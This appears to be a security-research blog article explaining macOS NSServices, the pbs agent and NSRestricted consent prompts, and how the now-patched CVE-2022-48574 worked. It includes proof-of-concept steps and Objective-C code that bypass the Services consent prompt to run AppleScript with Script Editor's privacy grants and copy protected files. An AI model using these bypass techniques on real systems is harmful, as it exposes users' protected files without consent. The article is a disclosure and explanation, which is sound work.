NSServices is a powerful and versatile inter-application communication mechanism within the macOS ecosystem, designed to enhance user productivity and streamline application interactions. Unfortunately, a vulnerability in a simple consent prompt allowed bad actors to access protected user files. So, how does NSServices work and why was it previously vulnerable to attacks?
At its core, NSServices empowers applications to provide and consume services seamlessly, allowing for efficient data sharing and functionality integration. This feature transforms the macOS experience by enabling users to perform tasks across different applications with ease, from text manipulation to complex data processing. In this article, we will dive into the world of NSServices, exploring its inner workings, use cases, and security measures behind it.
Note that this article is not about Services programming, which can be found in a comprehensive Services Implementation Guide. Here, we will review the basics with a focus on how all the involved components work, how the security features of this subsystem are implemented, and how they were abused in the past.
The basics of NSServices
Implementing NSServices in macOS requires configuring your application to offer specific services that can be invoked by other applications or by the system. In the Info.plist
file, you’ll need to add an NSServices dictionary that describes the services your application provides. Each service should have a unique name (NSMenuItem title), the name of the method in your application that handles the service (NSMessage), and a name for the service’s connection (NSPortName).
<key>NSServices</key>
<array>
<dict>
<key>NSMenuItem</key>
<dict>
<key>default</key>
<string>MyService</string>
</dict>
<key>NSMessage</key>
<string>handleMyService:</string>
<key>NSPortName</key>
<string>MyAppService</string>
</dict>
</array>
In your app code, you’ll need to implement methods that match the names specified in NSMessage. These methods should accept an NSPasteboard object and optionally return an NSError.
@objc func handleMyService(_ pboard: NSPasteboard, userData: String, error: AutoreleasingUnsafeMutablePointer<NSString>) -> Bool {
// Implement the service functionality here
return true // Indicate success
}
In your app, delegate a relevant class and register the service handlers. Set your app as the service provider.
NSApp.servicesProvider = self
Next, to make the service visible and available to all applications, install it into one of the following folders:
~/Library/Services/
/Applications
/Library/Services
The system scans these folders in the specified order. The process responsible for this is called pbs
.
How the pbs Services agent functions
The pbs agent for the Services menu scans for and vends available Services to populate the Services menu. Historically, pbs had responsibilities that ranged from pasteboard management to Unicode glyph generation. Now, it is only used for Services.
The pbs agent is located in /System/Library/CoreServices/pbs
.
This gives users the option to list and re-scan all available services in system Services.
$ /System/Library/CoreServices/pbs<br>Usage: pbs [-debug] [-dump] [-dump_cache] [-read_bundle file] [-update] [-flush] language1 language2....
In addition, pbs is also registered as the launch agent com.apple.pbs
that provides com.apple.pbs.fetch_services
XPC service.
$ launchctl list com.apple.pbs
{
"LimitLoadToSessionType" = "Aqua";
"MachServices" = {
"com.apple.pbs.fetch_services" = mach-port-object;
};
"Label" = "com.apple.pbs";
"OnDemand" = true;
"LastExitStatus" = 0;
"PID" = 632;
"Program" = "/System/Library/CoreServices/pbs";
};
AppKit.framework
uses com.apple.pbs.fetch_services
XPC behind the scenes of Services’ high-level APIs to fetch or update all registered services, and pbs utilizes a File System Events API to monitor for newly installed services.
Other files related to pbs
are:
~/Library/Preferences/pbs.plist
, which contains system-wide preferences that can be configured atSystem Preferences -> Keyboard -> Keyboard Shortcuts -> Services
~/Library/Caches/com.apple.nsservicescache.plist
, containing a registered services cache used to speed up the Services lookup function./System/Library/CoreServices/com.apple.NSServicesRestrictions.plist
, which contains NSRestricted and NSUnrestricted dictionaries. Without this configuration file, all system-provided services are restricted by default.
NSRestricted in Services
The main security feature behind the NSServices is NSRestricted. It was implemented to protect against app sandbox escape vulnerabilities.
The execution of such services requires explicit user consent. In the following example, we selected some text and invoked the Run as AppleScript
service from Safari’s Context menu -> Services
.
As previously mentioned, com.apple.NSServicesRestrictions.plist
configures all of Apple’s provided Services restrictions. To set up your own restricted services, you’ll need to add an NSRestricted
property with a YES
value in the NSServices dictionary in the Info.plist
file.
Here is a list of all of Apple’s NSRestricted Services (from macOS Ventura 13.5.2):
# To obtain the full services list use
$ /System/Library/CoreServices/pbs -dump
- /System/Applications/Utilities/Bluetooth File Exchange.app
- Send File To Bluetooth Device
- /System/Library/CoreServices/Applications/Folder Actions Setup.app
- Folder Actions Setup
- /System/Applications/Utilities/Script Editor.app
- Script Editor/Run as AppleScript
- Script Editor/Get Result of AppleScript
- /System/Library/CoreServices/Finder.app
- Finder/Open
- /System/Library/Services/Add to Music as a Spoken Track.workflow
- Add to Music as a Spoken Track
- /System/Library/Services/Show Map.workflow
- Show Map
- /System/Library/CoreServices/SystemUIServer.app
- Open URL
How the CVE-2022-48574 vulnerability worked
A noteworthy vulnerability discovered in the Services mechanism in macOS was CVE-2022-48574. This vulnerability allowed malicious actors to gain access to TCC-protected user files without getting confirmation from the user. The CVE-2022-48574 vulnerability has since been corrected, but we can learn a lot from it.
Among Apple’s restricted services, the most interesting are those provided by Script Editor.app
. Looking at its entitlements, we can see a lot of TCC privacy access grants.
$ codesign -d --entitlements :- /System/Applications/Utilities/Script\ Editor.app
...
"com.apple.private.tcc.allow": [
"kTCCServiceAddressBook",
"kTCCServiceAppleEvents",
"kTCCServiceCalendar",
"kTCCServiceReminders"
],
...
The most valuable of these is kTCCServiceAppleEvents
, an app that can automate any other app without a TCC prompt.
You can use Script Editor
‘s Dictionary Viewer File -> Open Dictionary
to see all apps’ automation APIs.
For example, a user could use the Finder
‘s automation APIs to manipulate FDA-protected files.
set fromPath to POSIX file "/path/to/file"
set toPath to POSIX file "/tmp/path/to/file_copy" as alias
tell application "Finder"
duplicate fromPath to toPath with replacing
end tell
We can also invoke Script Editor/Run as AppleScript
programmatically using NSPerformService to execute our AppleScript, although a Confirm Service consent prompt will be shown.
import Foundation
import AppKit
let pb = NSPasteboard.pasteboardWithUniqueName()
pb.setString("-- script here", forType: NSPasteboard.PasteboardType)
NSPerformService("Script Editor/Run as AppleScript", pb)
The idea behind CVE-2022-48574 was to bypass this service consent prompt. During research, it was discovered that there were a couple of ways to accomplish this.
Bypassing the Services consent prompt through cache poisoning
The first method for bypassing the Services consent prompt was through Services cache poisoning. This vulnerability takes advantage of the fact that directories scanned for newly installed or updated services and services installed at ~/Library/Services/
have priority over the System’s directories.
The overall algorithm works as follows.
- Copy and modify
Script Editor.app
and addNSRestricted
withNO
value to the NSServices dictionary of the specified service intoInfo.plist
.
<key>NSServices</key>
<array>
...
<dict>
<key>NSMenuItem</key>
<dict>
<key>default</key>
<string>Script Editor/Run as AppleScript</string>
</dict>
<key>NSMessage</key>
<string>runAsAppleScript</string>
<key>NSPortName</key>
<string>Script Editor</string>
<key>NSSendTypes</key>
<array>
<string>NSStringPboardType</string>
</array>
<!-- HERE WE GO -->
<key>NSRestricted</key>
<false/>
</dict>
...
</array>
- Flush services cache
$ /System/Library/CoreServices/pbs -flush
- Launch original
Script Editor.app
- Invoke
NSPerformService
with theScript Editor/Run as AppleScript
service and custom AppleScript pasteboard payload
The problem here was how pbs
handled identical services. Due to a lack of signature validation and how the Services lookup was implemented, it was possible to override the system’s restrictions.
Bypassing the Services consent prompt through an internal stuff
The second way to bypass the Services consent prompt was to just call an internal stuff, directly bypassing the consent prompt because the prompt was triggered in AppKit.framework on the caller's
side.
void* handle = dlopen("/System/Library/Frameworks/AppKit.framework/AppKit", RTLD_LAZY);
Class nsservicemaster = objc_getClass("NSServiceMaster");
id service = objc_msgSend(nsservicemaster, sel_registerName("copyServiceForAppIdentifier:messageName:"), @"com.apple.ScriptEditor2", @"runAsAppleScript");
NSString *contentString = @"-- script here";
NSPasteboard* pboard = [NSPasteboard pasteboardWithUniqueName];
[pboard setString:contentString forType:NSPasteboardTypeString];
id result = objc_msgSend(nsservicemaster, @selector(internalRunService:pboard:requestingApp:flags:cancelledHint:), service, pboard, @"Text Editor", 3, "");
Apple has since fixed this issue by moving all the logic of NSRestricted
validation and other bundle checks to NSServiceListener
side from AppKit.framework
.
The following methods did all the dirty work:
-[NSServiceListener _verifyAgainstBundleWithServiceName:message:restricted:]:
-[NSServiceListener _verifyService:requestRestricted:isAppleApp:]:
The NSRestricted
flag was now passed to the listener in a qualified service message as a string BOOL value in the form Script Editor/Run as AppleScript$$runAsAppleScript$$YES
.
Additionally, the _verifyService:requestRestricted:isAppleApp:
method checks the NSRestricted
field from the Services dictionary in Info.plist
. If it is present, the value will be compared and passed to the listener in a qualified message. If the value is not equal or equal to “YES,” the consent prompt will be shown.
It should also be noted that Apple added a new security mechanism called launch environment and library constraints that reduces the landscape of the system and the potential tampering of third-party apps.
NSServices and macOS security
In the ever-evolving landscape of macOS development, NSServices have proven to be a versatile tool for enhancing inter-application communication and user experience. However, the CVE-2022-48574 vulnerability taught us that even such crucial elements of the system can be compromised.
Again, it’s worth noting that Apple has since patched this vulnerability. As we conclude our exploration of NSServices and their role in the macOS ecosystem, it is essential to highlight the significant impact these services have had and the concurrent improvements in Apple’s security measures.
This is an independent publication and it has not been authorized, sponsored, or otherwise approved by Apple Inc. macOS and Mac are trademarks of Apple Inc.